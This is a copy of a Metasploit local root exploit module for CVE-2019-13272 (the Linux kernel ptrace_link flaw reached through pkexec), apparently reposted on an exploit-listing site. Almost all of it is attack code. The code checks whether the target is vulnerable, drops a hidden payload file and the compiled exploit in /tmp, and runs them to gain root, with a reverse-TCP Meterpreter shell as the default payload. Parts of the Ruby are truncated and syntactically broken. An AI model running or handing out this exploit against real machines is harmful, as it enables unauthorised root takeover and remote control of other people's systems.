Linux Polkit pkexec Helper PTRACE_TRACEME Local Root

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at:

Below is a copy:

Linux Polkit pkexec Helper PTRACE_TRACEME Local Root
# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
      'Name'          => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
      'Description'   => %q{
          This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux
          kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but
          not over an SSH session, as it requires execution from within the context of
          a user with an active Polkit agent.
          In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles
          the recording of the credentials of a process that wants to create a ptrace
          relationship, which allows local users to obtain root access by leveraging
          certain scenarios with a parent-child process relationship, where a parent drops
          privileges and calls execve (potentially allowing control by an attacker). One
          contributing factor is an object lifetime issue (which can also cause a panic).
          Another contributing factor is incorrect marking of a ptrace relationship as
          privileged, which is exploitable through (for example) Polkit's pkexec helper
          with PTRACE_TRACEME.
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Jann Horn',    # Discovery and exploit
          'bcoles',       # Metasploit module
          'timwr',        # Metasploit module
      'References'     => [
          ['CVE', '2019-13272'],
          ['EDB', '47133'],
          ['PACKETSTORM', '153663'],
          ['URL', ''],
          ['URL', ''],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X64 ],
      'Targets'        => [[ 'Auto', {} ]],
      'DefaultOptions' =>
          'Payload'     => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true,
      'DisclosureDate' => 'Jul 4 2019'))
    register_advanced_options ['ForceExploit', [false, 'Override check result', false]),'WritableDir', [ true, 'A directory where we can write files', '/tmp' ])

  def check
    # Introduced in 4.10, but also backported
    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
    release = kernel_release
    v = release.split('-').first

    if v >='5.1.17') || v <'3')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    vprint_good "Kernel version #{release} appears to be vulnerable"

    unless command_exists? 'pkexec'
      vprint_error 'pkexec is not installed'
      return CheckCode::Safe
    vprint_good 'pkexec is installed'

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    vprint_good "System architecture #{arch} is supported"

    loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
    if loginctl_output =~ /Remote=yes/
      print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
      return CheckCode::Safe


  def exploit
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'

    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      print_warning 'Target does not appear to be vulnerable'

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"

    payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    upload_and_chmodx(payload_file, generate_payload_exe)

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec("echo #{payload_file} | #{exploit_file}")
    print_status("Exploit result:\n#{result}")

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum